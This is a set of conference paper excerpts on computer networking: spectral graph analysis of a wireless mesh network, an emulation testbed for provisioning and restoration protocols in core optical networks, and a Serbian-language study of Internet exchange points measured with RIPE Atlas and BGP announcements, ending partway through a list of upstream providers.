Eigenvector of the Laplacian matrix, which corresponds to the second lowest eigenvalue is called the Fiedler vector [3].

The Fiedler vector is used in the clustering process, which enables the graph to be split into two clusters, two node groups, so that the number of connections between clusters is minimized [4].

If x_{n-1} is the Fiedler vector, then clustering is performed so that the nodes which correspond to positive values of vector xn-1 are joined with the first cluster, and the nodes which correspond to the negative values of the vector x_{n-1} are joined to the second cluster.

Spectral radius

If eigenvalues of the neighbouring matrix are organized in a decreasing order $\lambda_1 \geq \lambda_2 \geq ..., \lambda_{n-1} \geq \lambda_n$, the spectral radius ρ is defined in the following way:

$$\rho = \max_{1 < i < n} \left| \lambda_i \right|$$

The spectral radius of the graph has a significant role in the dynamic processes in the graph, such as spreading viruses in the network.

The Epidemic threshold is defined as $\tau_c = \frac{1}{\rho}$. When the effective infection rate in the network is $> \tau_c$, the network is infected, and if it is $\tau > \tau_c$ then there are no viruses in the network.

It can be concluded that the lower spectral radius corresponds to greater robustness in the network in terms of spreading viruses and greater protection from viruses can be achieved through minimization of the spectral radius [5].

Principal eigenvector

The Principal eigenvector of the neighbouring matrix A is a eigenvector which corresponds to the greatest eigenvalue, that is spectral radius ρ [6].

The values of the principal eigenvector are directly connected to the relative significance of graph nodes (node centrality).

Google's PageRank algorithm uses the Principal eigenvector variation to mark the significance of a web page [7]. Coefficients of the Laplacian characteristic polynom and the greatest eigenvalues of the distance matrix are analyzed, as well as two invariants which are based on the graph specter – energy and the Estrada index.

4. ANALYSIS – THE INFLUENCE OF THE SIGNAL STRENGTH IN A MESH NETWORK ON ALGEBRAIC CONNECTIVITY

Mesh nodes are represented by graph nodes, and metrics values (for instance, OLSR parameters), which represent the signal strength among WMN nodes, are represented by graph branches (Fig. 1.).

Adjacency matrix, eigenvalues and eigenvectors of the Laplacian matrix for the mesh network in Fig. 1. are represented in Fig. 2.

We will continue to analyze how algebraic connectivity of networks changes by changing the signal strength in a network.

Table 1. shows the dependence of algebraic connectivity on the change of signal strength among various nodes for a constant value.

The value of algebraic connectivity for the graph from Fig. 1. is $\mu_5 = 66,339$. By changing the signal strength for the value of 5, algebraic connectivity changed from

66,339, when $L_{1.5}$ changes from 12 to 17, to 68,684, when $L_{2.5}$ changes from 10 to 15 or $L_{1.2}$ changes from 10 to 15.



Fig. 1. Mesh network

🔲 Adja	acency m	atrix 👸			רׂם	\boxtimes
Graph						
Adjac	ency mat	trix	Eigenvalue	Eiger	vector	
0	10	12	10	12	15	
10	0	10	17	10	15	
12	10	0	10	12	19	
10	17	10	0	10	19	
12	10	12	10	0	15	
15	15	19	19	15	0	

🔲 Laplacian matrix 🗗 🗹						
Graph						
Eigenvalue	Eigenvector					
Laplaci	an matrix					
Eigenvalue 1 : (0.000					
Eigenvalue 2 : 66.339						
Eigenvalue 3 : 71.000						
Eigenvalue 4 : 7	73.367					
Eigenvalue 5 : 8	30.704					
Eigenvalue 6 : '	100.589					



🔲 Laplacian matrix 📃 🗖 🛛									
Graph									
Laplacian matrix Eigenvalue Eigenvector									
0.408	-0.435	-0.707	0.360	0.028	0.117				
0.408	0.598	-0.000	0.182	0.660	0.082				
0.408	-0.220	0.000	-0.830	0.142	0.275				
0.408	0.462	-0.000	0.054	-0.724	0.304				
0.408	-0.435	0.707	0.360	0.028	0.117				
0.408	0.031	0.000	-0.126	-0.135	-0.894				

Fig. 2. Adjacency matrix, eigenvalues and eigenvectors of Laplacian matrix

The values of eigenvectors, which correspond to the algebraic connectivity are:

-0.435, 0.598, -0.220, 0.462, -0,435 i 0,031.

Based on experimental results, it can be concluded:

- 1. Algebraic connectivity grows or remains the same if signal strength increases in the network.
- 2. Algebraic connectivity does not change if the signal strength changes among nodes which have the same values of the Fidler vector.
- 3. If the signal strength changes among nodes which have minimum and maximum values of the Fidler vector, algebraic connectivity grows to the maximum.

	L_{1-2}	L ₂₋₅	L ₁₋₄	L_{4-5}	L ₂₋₃	L ₃₋₄
$\boldsymbol{\mu}_{n-1}$	68,684	68,684	68,167	68,167	67,966	67,530
	L ₂₋₆	L ₁₋₆	L ₅₋₆	L ₄₋₆	L ₃₋₆	L ₁₋₃
$\boldsymbol{\mu}_{n-1}$	67,442	66,895	66,895	67,021	66,537	66,429
_		L ₃₋₅	;	L ₂₋₄	L ₁₋₅	
	μ.	66,42	29 6	6,394	66,339	

Table 1. Change of algebraic connectivity by changing signal strength

5. CONCLUSION

 μ_{n-1}

Understanding the evolution of complex networks is of crucial value for the analysis and modeling of networks and the Internet infrastructure.

This paper presents the use of the spectral graph theory in the process of complex network analysis. Topological metrics are defined, based on the spectral graph theory and the change of algebraic connectivity in a mesh network which is analyzed depending on the signal change in a network. A specific application has been developed which enables editing of a random graph of dependence and the calculation of all basic parameters of the spectral theory for the edited graph.

It has been demonstrated experimentally that algebraic connectivity is maximized when the signal strength increases among nodes which have minimum or maximum values of the Fidler vector, and algebraic connectivity does not change in case of changing the signal strength among nodes which have the same values as the Fidler vector.

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ADVANCED COMPUTING AND CLOUD COMPUTING

EMULATION TESTBED FOR DYNAMICALLY PROVISIONED OPTICAL NETWORKS

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Abstract:

This paper presents the emulation testbed for a highly dynamic network environment requiring fast provisioning and restoration for a wide variety of bandwidth-on-demand services in IP over- optical networks. This paper builds on previously reported work on the development of the fast provisioning 3-Way HandShake (3WHS) and ROLEX restoration protocols to meet core optical network requirements.

The emulation testbed is a software implementation of a 100-node, global scale network control plane designed to investigate and validate the performance of provisioning and restoration protocols for the transport layer in core optical networks.

Keywords:

dynamic networks, emulation testbed, network restoration, optical networks.

1. INTRODUCTION

Recently, there has been major impetus for Bandwidth- on-Demand (BoD) in carrier networks, driven by the burgeoning demand for cloud computing services and a desire to reduce costs through bandwidth sharing. Applications such as file transfer, scheduled and unscheduled backup, virtual machine (VM) transfer, data fusion, etc. have spawned a large variety of potential requirements for bandwidth, latency, connection setup times, Quality of Service (QoS), etc. Broad spectrum of requirements for a highly dynamic IP services in optical networking environment can be found in [1]. Bandwidth requirements for core optical networks span several orders of magnitude, from ~ 100 Mbps to nearly a Tbps per service request, across multiple layers in the network. Service setup time requirements range from very fast subsecond setup times to scheduled services, with acceptable blocking constrained to be below 10-3. Service requirements also include stringent QoS metrics for packet loss (10-5) and latency (50-500 ms), as well as requirements for resilience against up to three failures for select services. Traffic level objectives are 20-100 Tbps network-wide, representing a carrier network of the future.

Traffic is nominally 75% IP and 25% transport services, comprised of a mix of best-effort IP and private line traffic along with highly variable BoD traffic. For the latter, scheduled services account for a total of about

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e-mail: akolarov@vencorelabs.com 20 % of the overall traffic, and true on-demand services account for about 30%. Thus, the environment is one where the familiar best effort IP and private line services dominate network traffic, and where on-demand service traffic is a relatively modest component, but highly heterogeneous in its characteristics. The "call arrival" rate is roughly 2 per second, with holding times as short as 1s-1minute for some services, thus resulting in a highly dynamic environment compared to that found in today's networks. Finally, and importantly, service requirements in [1] need to be met within an efficient network design.

Finding a solution to this complex set of IP and circuit service provisioning and restoration requirements and network capacity constraints is extremely challenging. A description of the foundational protocols, algorithms and architectures developed to address the core optical networking problem space can be found in [2], but for convenience certain relevant aspects are summarized in the sections below.

This paper focuses primarily on a demonstration of provisioning and restoration in an Emulation Testbed running real time distributed protocols on 100 servers each representing a node/city in the core optical network [2] with the control plane traffic generated by multi-Tbps BoD services. This testbed was used for protocol performance validation at large scale. The remainder of this paper is organized as follows: Section II summarizes core optical network rapid provisioning and restoration protocols. Section III describes the Emulation Testbed architecture and experimental results. In Section IV we summarize the paper.

2. CORE OPTICAL NETWORK PROTOCOLS

In [2] we reported earlier on the development of a 3-Way HandShake (3WHS) protocol which, through simulation, was demonstrated to meet the aggressive setup time in [1] and blocking metrics for single and multi-wavelength services. This paper summarizes the protocol. Section III describes validation of its performance in a 100-node Emulation Testbed.

A. Three Way Handshake (3WHS)

The 3WHS is designed to meet the optical connection creation objectives specified in [1]. The two main DARPA program requirements the 3WHS must meet are: (i) a connection setup blocking probability requirement of less than 10^{-3} , and (ii) a connection setup time of less than 50 ms + round-trip fiber transmission delay.

As defined in [3] and [4], many carriers are deploying, or are considering deploying, GMPLS with RSVP-TE to configure their optical networks. The 3WHS can be viewed as an extension of the RSVP signaling for GMPLS with the following features designed address core optical network requirements in [1]:

- "One-shot" connection setup using simultaneous cross- connections across Network Elements (NEs) to meet setup time requirements;
- Use of near real-time state data to minimize blocking;
- Evaluation of multiple paths to balance load across NEs and accommodate network failures;
- Efficient use of wavelengths and transponders to reduce network costs;
- Reducing cost of state distribution caused by short inter- arrival times.

In [5] we show that blocking under a GMPLS RSVP signaling approach is 2 to 4 times greater than when using 3WHS. These results apply when using RSVP extensions including Suggested Label and Label Set. The gap increases as network load increases.

For a given source/destination A/Z node pair, the 3WHS probes multiple fiber paths that are chosen based on multiple criteria including ability to meet setup time objectives and diversity. In particular, the longest path probed must allow a connection to be established that meets the setup time objectives. The candidate paths may be updated periodically. The 3WHS involves three signaling passes. The first signaling pass (Node A \rightarrow Node Z) collects state data from each NE along the fiber path for each candidate path. No resources are reserved in Pass 1. When all the Pass 1 signaling messages arrive at Node Z, it runs an optimization algorithm to determine where wavelength conversion should be done, which wavelengths to use, etc., on each probed path. It selects which fiber path to use and what wavelengths to reserve on each fiber and at which nodes transponders are required for regeneration or wavelength conversion.

The Pass 2 signaling message from Node Z to Node A goes along the selected fiber path, and establishes crossconnections using the wavelengths and transponders selected by the Z node. These cross-connections are established simultaneously in all NEs. To reduce "backward blocking" (i.e., resources that were supposed to be reserved by Pass 2 became unavailable) extra resources can be selected by Node Z for Pass 2 to reserve. Simulations have shown that reserving one or two extra wavelengths greatly reduces backward blocking. When Node A receives the Pass 2 message, it knows which wavelength connections have been successful, and makes the final decision on the resources to be used. Node A then initiates its cross-connects to the client ports, sends a notification to the client, and sends a Pass 3 message to Node Z. This message is used to release the extra reserved resources along the selected path and to inform the Z node of the specific connections used. More detail regarding the 3WHS protocol is in [arch paper] and [5].

We have adapted the 3WHS protocol to support OTN SWL traffic and for Multi-Carrier domain use. In the former case, the 3WHS collects ODU0 state information, the Z node uses slightly different optimization criteria and ODU0 channel selection is deferred until Pass 2 since there are no variable transponder costs to minimize (see [5] for more details). In the latter case, the 3WHS is structured in two levels: inter- domain probing and intradomain probing. The A-node initiates Pass 1 signaling along multiple inter-domain paths where each carrier domain probes multiple intra-domain paths for each potential inter-domain path (see [5] for more details).

B. Restoration Signaling (ROLEX)

The core optical networks also require that connections are resilient to network failure. All connections should be restorable from any single network failure while some connections should be restorable from any 2 or 3 network failures as well (at most 1 node failure). We use a shared mesh restoration strategy coupled with a restoration signaling protocol based on AT&Ts Robust Optical Layer End-to-End X-connection (ROLEX) protocol [6]. Just after the working connection is established, our PCE computes 1, 2 or 3 diverse restoration paths for the connection (depending on the connection's resiliency requirement) and determines how many wavelengths are needed for restoration on each link of those paths. Signaling is used so that each node is aware of exactly which wavelengths are reserved for restoration on each link.

As shown in Figure 1, when a failure occurs, an Alarm (either Loss of Signal or Alarm Indication Signal) propagates from the failure site to the connection A and Z nodes. When the alarm reaches the A and Z node, the alarm is "aged" for 10 ms to model typical carrier practice of aging alarms to insure that the condition is not transient. Connection A and Z nodes both then begin ROLEX signaling on one of the connection's restoration paths. ROLEX signaling proceeds from both end nodes for each connection affected by the failure; from A towards Z and from Z towards A.



Fig. 1. Failure Model and ROLEX Signaling.

The ROLEX signaling protocol consists of Connect (orange arrows), Ack (blue dotted arrows) and Back (purple dashed arrows) messages. The Connect and Ack messages are used to establish cross-connects for connections being restored by communicating the demand for and supply of wavelengths as each connection being restored. At some point (nodes labeled I and J), the Connect messages from A and Z nodes "cross" each other which allows nodes to determine that ROLEX signaling is complete. The Back message is used to signal all that way back to the connection A/Z node that restoration has failed and that any resources used by, and connections created for, this connection should be released.

ROLEX signaling could use any available wavelength for restoration but our implementation used bandwidth that has been allocated for restoration. Reserving specific wavelengths for restoration increased the probability that ROLEX would be able avoid the use of transponders on restoration connections. Two methods are used to allocate bandwidth for restoration. First, at call setup time the 3WHS first establishes the working connection and then the PCE computes the restoration path(s) and determines how many wavelengths need to be reserved for restoration on each link of the restoration path(s). A signaling message is used to set aside specific wavelengths for restoration based on this data. Second, the PCEs periodically compute the number of wavelengths needed for restoration on each link based on the active connections in the network and signals the nodes at each end of the link to set aside specific wavelengths. The latter method is needed to release wavelengths that are no longer needed for restoration. Note that in the shared mesh restoration strategy used in our approach the same wavelength may be used to restore multiple connections with different end nodes.

3. EMULATION TESTBED

We have previously evaluated the performance of the 3WHS and ROLEX signaling protocols using Discrete Event Simulation (DES). In the work reported here, we developed a laboratory facility to verify the real-time performance of the 3WHS and ROLEX signaling protocols at scale. The testbed does not include a data plane so our experiments are designed to verify the performance of the control plan. We sought to verify that the 3WHS was able to meet setup time and blocking objectives specified in [1]. We also sought to verify that the shared mesh strategy was able to reserve sufficient bandwidth for restoration and that the ROLEX protocol was able to meet the restoration objectives.

As a side effect of the software implementation, we were able to demonstrate the simultaneous operation of provisioning and restoration. That is, we tested the performance of the 3WHS under network failures and interactions between the 3WHS and ROLEX signaling.

A. Overview

The Vencore Labs Optical Networking Emulation Laboratory consists of 110 Dell Xeon servers running CENTOS 6.2. One hundred of the servers emulate optical NEs and run software implementing the 3WHS and ROLEX protocols. Six of the servers run software implementing the Path Computation Element (PCE). An additional server runs a "Testbed Controller" that configures the emulated network topology and supplies the optical demand requests. The emulated nodes are implemented in C++ using a custom software framework designed to support the high speed processing requirements of the 3WHS and ROLEX protocols and allowed us to look at performance data at a more detailed level than would normally be available in a commercial control plane implementation.

The core optical global network consists of 100 nodes (75 CONUS, 25 Non-CONUS). The network includes 136 inter- nodal optical links, of which 13 have two fiber pairs, and the rest one. Every fiber pair supports up to 100 optical channels. The additional fiber pairs were allowed under the requirements in [1] and were used so the most demand services consistently met blocking objectives. The testbed supports 6 Path Computation Elements (PCEs), of which 4 are CONUS and 2 are non-CONUS Figure 2 shows a map of the CONUS topology of the core optical network.



Fig. 2. CONUS Network.

Figure 3 is an architectural diagram of the core optical network emulation software. Each optical node runs a copy of the Border Controller (BC) and Optical Control (OC) software which implements the 3WHS and ROLEX protocols. The Demand Generator (DG) sends messages to the BC to establish and teardown connections. Each of the 6 PCE nodes provides restoration paths for services, as well as periodically updating the candidate routes at each node used by the 3WHS for probing. PCEs also send messages to every other PCE to keep their databases in loose synchronization. The Testbed Controller (TBC) configures the testbed, including the network topology (with emulated link delays), and starts and stops the DG at the beginning and end of an experiment.



Fig. 3. Software Architecture.

B. 3WHS Experiments

An emulation experiment consists of running a demand stream representing 24 hours of traffic against the optical network. The optical network load consists of an IP network designed to support 15Tbps of IP services, and 5Tbps of optical wavelength service requests. The IP network is designed to support the offered load and all possible failure scenarios. Thus, the links supporting the IP network appear as static optical demands that do not need to be restored following a failure. The IP network is supported by 1880 optical connections spread over 209 different A/Z node pairs. Following loading the IP network, the utilization of optical links ranged from 2 to 67 wavelengths.

The optical demand makes up 25% of the offered load and consists of requests for 1, 2, 4 and 8 wavelength connections. The optical demand is divided roughly 40% for Very Fast setup, short-holding time demands while the remaining bandwidth is for more traditional optical services allowing longer setup times and longer (almost static) holding times. This traffic mix means that more than 99.9% of optical service requests are for the Very Fast setup short holding time optical demands.

For an emulation experiment, optical demand streams are constructed by simulating several months of demand activity to obtain a random traffic state and taking a snapshot of the active demands forming a set of "embedded" demands. We then continue simulating demand stream for the next 24 hours of traffic. The demand active at the instant of the snapshot are the embedded demand and are loaded by the emulation when it starts and the remaining demands are emulated as the emulation unfolds. The arrival rate for dynamic optical demands is approximately 2.5 requests per second (about 170,000 demands per day).

A total of 51 experiments were performed resulting in more than 8.5 million service requests. The results of these experiments demonstrated that the emulated 3WHS, run against the CONUS topology and traffic matrix, resulted in blocking ranging from $4E^{-5}$ (single wavelength) to $2E^{-4}$ (8 wavelength) meeting program objectives.

Setup time objective was that it had to be either less than an absolute setup time (CONUS < 100 ms, non-CONUS < 250 ms); or a differential setup time (no more than 50 ms longer than the round-trip propagation time on the shorter of the diverse pair of paths of shortest total length between the source and sink). Figure 4 and Figure 5 show the measured absolute and differential setup times for CONUS and non- CONUS demands. In Figure 4, the red dashed line shows the CONUS objective while the blue dashed line shows the non- CONUS objective. The "step" in the non-CONUS results is due to the mix of demand pairs that have very different setup time properties in the non-CONUS set (e.g., Amsterdam to London and Denver to Delhi are both "non-CONUS" demands). More than 99% of CONUS and non-CONUS demands meet the absolute setup time objective. In Figure 5, the 50 ms objective is shown by the green dashed line. The 50 ms objective was met for approximately ~99% of service requests.



Fig. 4. Measured Absolute Setup Time.



Fig. 5. Measured Differential Setup Time.

C. ROLEX Experiments

We used the emulation testbed to validate restoration in the core optical network using ROLEX. Specifically, we verified that the PCEs reserved sufficient bandwidth; that ROLEX was able to use that bandwidth to restore connections affected by failures and that the time to restore connections met program objectives. We assumed that there were an unlimited number of transponders at each node.

In an implementation note, we were faced with the problem of determining exactly when service was restored in the emulation testbed. Normally, the restoration of a connection is detected at the connection A/Z node by the presence of the optical signal from the far end. This is not feasible in the emulation since we do not have a data plane. We modeled the restoration of the client signal using a Rest message. The Rest message proceeds from the A/Z node to the Z/A node (waiting at nodes until the cross-connections are complete). The connection is restored when the Rest message arrives at the connection A and Z node.

Single Failure

The emulation software was written in such a way that every single network failure could be evaluated in a single emulation run. In this case, each demand stream is

emulated for 4 hours and then the emulation steps through all 236 node/link failures and executes ROLEX signaling for each failed connection. The software measures restoration success/failure and times. These were repeated 58 times resulting in nearly 14,000 failure events and ROLEX signaling for approximately 70,000 failed connections.

Note that at the time of a failure, the only nodes that know about the failure are those adjacent to the failure (e.g., nodes that terminate a failed link). In particular, the A/Z nodes of connections affected by the failure don't know what failed only that the failed resource was supporting the working connection. The most extreme case is where the connection A/Z node fails. In this case, the other end will attempt to restore the connection only to have the attempt fail at the penultimate node of the restoration path.

There were a small number (< 0.5% of failed connections) where ROLEX ended abnormally. These abnormalities were due to calls that failed while being setup or taken down or failed before restoration capacity was fully reserved (in which case the call was not really protected at the time of the failure). There were even instances where the connection was restored before the alarm arrived at the end point.

Like connection setup time, restoration time objectives were specified using absolute and differential time objectives. Figure 6 shows the measured absolute restoration time. More than 99% of CONUS and 94% of non-CONUS demands meet the restoration time objective. Figure 7 shows the measured differential restoration times for all CONUS and non- CONUS demands. More than 99% of demands met the differential restoration time objective. Notice that for many demands the differential restoration time is less than 0. This is due to ROLEX signaling proceeding from both A and Z nodes so the restoration time is sometime close to the *one way* propagation time between the nodes while the differential restoration time subtracts the *round-trip* propagation time.



Fig. 6. Single Failure Absolute Restoration Time.



Fig. 7. Single Failure Differential Restoration Time.

As seen in Figure 6, the results for non-CONUS absolute restoration time were not as impressive, where nearly 6% of non-CONUS demands did not meet the absolute restoration time objective. This is due to ROLEX using a controlling node for each link. The controlling node selects the wavelength to use to restore a demand on a link. If the ROLEX connect message arrives first at the non-controlling node, then it may take a round trip on the link before a connection established at the noncontrolling node. In this case, the restored signal may take experience a delay of up to 3 times the propagation time for a link. Within CONUS, this is not a significant issue but with long (e.g., trans-oceanic links) the delay can be significant. ROLEX could be modified to avoid this delay but it may result in a bi-directional connection being restored on two different wavelengths in the same link. This outcome may not be acceptable to some carriers.

Multiple Failures

We also used the emulation testbed to verify the performance of ROLEX under multiple failures. Unlike the single failure case, the emulation could only model one multiple failure scenario in each experiment. Coupled with the large number of multiple failure scenarios, this limitation drastically limited our ability to evaluate ROLEX for multiple failures. Given these constraints, we focused on high-stress scenarios (scenarios that nearly partition the network). Figure 8 illustrates a typical multiple failure scenario emulated using the testbed.



Fig. 8. Sample Multiple Failure Scenario.

Each experiment consisted of emulating demand for one hour and then failing 3 resources in succession. Enough time elapsed between failures for ROLEX signaling to complete and then all nodes were notified of previous failures. This allows ROLEX to evaluate the status of candidate restoration paths for demands resilient to 2 or 3 failures when selecting which of the restoration paths to signal along. This is a less restrictive assumption than specified in [1] which would allow us to recalculate restoration paths between failures.

Figure 9 shows the measured differential restoration times following the first (f1), second (f2) and third (f3) failures. More than 99% of demands affected by the first failure, 98% of demands affected by the second failure and all demands affected by the third failure met the differential restoration time objective. This chart is based on relatively few events (e.g., only 24 demands were restored following the third failure).



Fig. 9. Multiple Failure Restoration Time.

As with the single failure case, more than 99% of CO-NUS demands met the absolute restoration time while 90% of non- CONUS demands met the absolute restoration time objective.

Debugging the emulation did uncover an issue with multiple. In particular, the PCE calculation of restoration

capacity assumes that following the second or third failures, only demands with those high resiliency requirements would be restored. In effect, the PCE calculations assumed that previously restored low resiliency demands could be preempted to restore a high resiliency demand. In the emulation, demands with lower resiliency requirements were not preempted and occupied some of the restoration bandwidth causing some high resiliency demands to fail in ROLEX. This was not observed in our experiments but was observed in test cases we designed with limited demand streams in limited networks.

4. SUMMARY

Dynamic optical networking, particularly in support of BoD, has been a fertile research area for many years. In recent years, there is a renowned interest in a solution for supporting BoD in a highly heterogeneous service environment with demanding provisioning and restoration targets. In this paper we presented the emulation testbed consisting a software implementation of a 100-node, global scale control plane network designed to investigate and validate the performance of provisioning and restoration protocols for the transport layer in core optical networks. We also demonstrated the behavior of the 3WHS under network failures and interactions between the 3WHS and ROLEX signaling immediately network failures. Emulation results presented in this paper confirm that the 3WHS protocol meets the aggressive setup time in [1].

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ADVANCED COMPUTING AND CLOUD COMPUTING

INTERNET EXCHANGE POINTS

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Internet današnjice sastoji se od preko 50.000 mreža koje su pod kontrolom privatnih lica. Zajedno ove mreže pružaju mogućnost globalnog povezivanja. Da bi povezanost u današnjem svetu u startu bila moguća, ove mreže moraju međusobno da komuniciraju. Upravo tu dolazimo do pojma Internet exchange point (IXP), preko kojeg dobijamo tehničke mogućnosti da se mreže povezu i razmene podatke. U ovom radu pokazaćemo merenja koja dokazuju kako IXP imaju pozitivan efekat na performansu mreže. Takođe, objasnićemo korake startovanja jednog IXP-a.

Ključne reči:

Rezime:

internet exchange point, internet, ISP.

1. INTRODUCTION TO IXP

Internet exchange Point (IXP) je infrastruktura koju koriste internet provajderi (ISP) za razmenjivanje saobraćaja između njihovih autonomnih sistema (AS). IXP omogućava internet provajderu interkonekciju sa AS direktno, tj. uspostavljanje direktne veze između njih kao alternativa korišćenju *third-party* mreža. IXP igraju krucijalnu ulogu u razvoju interneta jer kreiranjem guste mreže interkonekcija po niskoj ceni ohrabruju internet provajdere da koriste ovu metodu. Neki od provajdera poseduju protok od nekoliko Tbit/s i smatraju se najvažnijim članicama današnjeg interneta [1].

Opšte je prihvaćeno da je peerovanje na IXP vrlo korisno, gledano sa strane performansi. Na primer, kraći putevi poboljšavaju kašnjenje povratnog puta (*Round-trip*) i lokalizaciju samog saobraćaja. Međutim, zbog malog broja literature i studija nije posebno naglašeno kolika je ušteda u ceni i performansama prilikom upotrebe IXP-a. Neki od eksperimenata koji su sprovedeni na italijanskom IXP-u pokazaće koliko je zapravo poboljšanje prilikom upotrebe tačke za razmene podataka [2].

Studija će pokazati koliko je IXP efektivan u obezbeđivanju da internet saobraćaj ostane lokalnog karaktera tako što će se proveriti preko kojih zemalja je putovala konekcija. Kao što je rečeno, studija je fokusirana na Italiju, gde se nalaze izvorni AS i ciljni AS koji su i cilj merenja. Najviše je pažnje obraćeno na dva najpopularnija italijanska IXP-a: Milanski Internet Exchange (MIX) i Nautilus Mediterranean Exchange Point (NaMeX). U okviru studije su ,takođe, uključena i tri IXP-a srednje veličine zbog aktivne kontrole BGP "objava" i prisiljavanja internet saobraćaja da uzima druge rute za pravilno upoređivanje. Eksperiment se bazirao na merenjima mrežne metrike: vreme povratnog puta (RTT), broj skokova, gubici u paketima itd. Za ovaj sistem merenja korišćen je RIPE Atlas, koristeći sonde koje su isključivo locirane u Italiji, kojih trenutno broji oko 150.

Izvedene su dve vrste eksperimenata koje su nazvane, respektivno, Kritični internet servisi (CIS) i Selektivne BGP objave (SBA).

2. KRITIČNI INTERNET SERVISI (CIS)

U prvom eksperimentu, mrežni eksperimenti su isprojektovani u cilju mogućeg uvida u QoS povezanog sa kritičnim veb-sajtovima za italijanske klijente. Koncept je bio da se pribavi klasifikacija rezultata u skladu sa razlikom da li je klijent povezan na IXP ili nije. Odabrana su dva seta internet veb-stranica koje se mogu smatrati za najznačajnije među italijanskim korisnicima. Prva grupa veb-sajtova, koji su nazvani "Kritično" povezana je sa kritičnom infrastrukturom, dok je druga grupa veb-sajtova "Posećeno" vezana za popularne sajtove. "Kritično" se sastoji iz sledećih kategorija: onlajn bankarstvo, osiguravajuće kompanije, javna administracija, veb-mail provajderi i drugo. Drugi set veb-sajtova čini 100 najposećenijih italijanskih sajtova, prema rangu od strane "Alexa" [3].

Sledeći grafikoni pokazuju RTT za skup podataka od grupe veb-sajtova "Kritično", kao i broj skokova za grupu sajtova "Posećeno". Krive pokazuju da sonde koje putuje preko IXP-a poseduju bolje indikatore i statistiku. Na primer, RTT za oko 70% sondi koje putuje preko IXP-a iznosi 30 ms ili manje, dok samo 20% ima iste performanse za sonde koje ne putuju preko IXP-a.

Konačno, podaci koji su kolektovani u CIS eksperimentu mogu biti analizirani u pogledu bezbednosti kritičnih veb-servisa sa njihovim dolaznim internet saobraćajem. Nedavni slučajevi špijunaže internet saobraćaja prisililo je vlade da istraže da li je saobraćaj generisan od strane njihovih građana, i da li je saobraćaj koji je išao ka kritičnim servisima ostao u potpunosti lokalno duž puta. Jasno je da ako je saobraćaj ostao u zemlji, tj. ako je ostao lokalnog karaktera, ne može biti dovoljan garant za bezbednost saobraćaja, ali su vlade vrlo osetljive na ovo pitanje.



RTT za kritične veb-sajtove (levo) i broj skokova za set najposećenijih sajtova (desno)

Sledeće merenje koje je izvršeno jeste koliko frekventno uz pomoć IXP-a može doći do italijanske destinacije sa lokalnog izvora, bez upotrebe tranzita većeg provajdera koji nije iz Italije. Kvantitativno je provereno da li MIX i NaMeX efektivno čuvaju lokalni internet saobraćaj lokalno.



U skladu sa determinisanjem države gde se nalazi AS, kojeg ćemo nazvati X, pitan je RIPEstat servis koji se bavi internet merenjima i analizama za prefikse koje je X objavio i državama čiji ovi prefiksi odgovaraju. Ako su vraćeni prefiksi svi bili asocirani sa istim zemljom, onda možemo da zaključimo da je u tom zemlji lociran X. U drugom slučaju, za određivanje zemlje potrebno je manuelno uzeti meta podatke iz X, gledajući, na primer, veb-sajt odgovarajućeg provajdera. U većini slučajeva, strani AS zaobilazi se samo kada se upotrebljava ruta većeg provajdera, što potvrđuje koliko je IXP efektivan u prezervaciji lokalnog saobraćaja.

Ovi rezultati se moraju uzeti u obzir vrlo pažljivo zbog 3 razloga:

- 1. Dva CDF-a referisana su na razjedinjene setove sonde, jer je svaka sonda prošla ili kroz IXP, ili ne.
- RTTovi i brojevi skokova referišu na poslednji skok koji je odgovorio našim merenjima, što vrlo često nije stvarna meta (40/53 za set podataka "Kritično", 59/94 za set podataka "Poseta").
- 3. Ruter u IXP-u može odgovoriti na *traceroute*u koristeći interfejs koji se ne nalazi na *peering*

LAN-u, što može dovesti do pogrešno zavedene korespondevane traceroute. Podaci sa brojača skokova mogu biti pod uticajem postojanja tunela.

Konkluzija je da nam grafikoni koje smo naveli da dobijemo prve pozitivne eksperimentalne impresije o uticaju IXP-a. Sledeći eksperiment koji je izvršen ne sadrži probleme na koje smo ukazali iznad.

3. SELEKTIVNE BGP OBJAVE (SBA)

Drugi eksperiment vezan je za analizu alternativnih rutiranja koje uključuje ili IXP, ili upstream korišćen od strane italijanskih internet provajdera sa ciljem dolaska na internet servis. Partnerstvo sa "MC-link", "Seeweb" i "Unidata" internet provajderima, koji spadaju u red provajdera srednje veličine u Italiji, bila je preparacija za eksperiment koji je podrazumevao da se svakome od navedenih provajdera dostavlja rezervacija jednog IP subneta i jednog servera sa centrom podataka. Svakom serveru je dodeljena IP adresa koja je proistekla iz rezervisanog IP subneta. Konfiguracija je glasila da tačno rukuje i odgovara zahtevima za ICMP echo sa pingovima i traceroute-ama. Za svakog provajdera su izvršeni opisani koraci u drugačijem vremenskom okviru. Internet provajderi su zamoljeni da naglase predodređenu sekvencu narednih 5 BGP ažuriranja koje se odnose na rezervisane IP subnet-ove. Svako ažuriranje trajalo je četiri sata, sa totalnom sumom od 20 sati po testu [3]. Lista BGP ažuriranja je napravljena sa razlogom selektivnog distribuiranja ruta na različite sub-setove dostupnih ulaza, pridržavajući se šeme:

- "UPSTREAM" objaviti samo ako se prenosi AS;
- "IXPS" objaviti samo za MIX i NaMeX članove;
- "MIX" objaviti samo za MIX članove;
- "NAMEX" objaviti samo za NaMeX članove;
- "ALL" objaviti za sve članove.



Faze Selektivne BGP objave

Za eksperiment SBA pokrenulo se odabiranjem subsetova za sonde koje su mogle da dođ u do cilja tokom oba "UPSTREAM" intervala, i tokom barem jednog "MIX" i "NAMEX" intervala. Probe koje su odabrane omogućile su nam da izmerimo razliku između povezivanja koje nude IXP i koje nude ISP.



RTT zastoji tokom eksperimenata sa Seewebom, broj skokova sa MC-linkom i *jitter* sa *UniDatom*

Grafici pokazuju zastoj povratnog puta izmeren tokom eksperimenta sa *Seewebom*, broj skokova tokom eksperimenata sa MC-linkom i *jitter-a* izmerenog u *UniDati*. Kao primer, prvi grafik sastoji se iz 4 krive koje pokazuju distribuciju prosečnog RTT-a za sve *Seeweb* mete, u oba slučaja kada je meta pokušavala da se kreće preko IXP-a ili *upstream-a*. Grafikoni pokazuju da putevi preko IXP-a kao medijuma uvek pokazuju iste ili bolje performanse nego put preko *upstream* provajdera.

Tokom eksperimenta primetili smo da putanje duž *upstream-a* pokazuju sasvim drugačije vrednosti indikatora performansi. Gledajući prikupljenu *traceroutu* tokom *upstream* intervala, otkrivena je ruta za svakog od provajdera. Ovo je lista *upstream-ova* koja su nađena:

- MC-link (AS3257, AS12874, AS174, AS3356, AS35612, AS57329)
- Seeweb (AS3257, AS174, AS3549, AS3356)
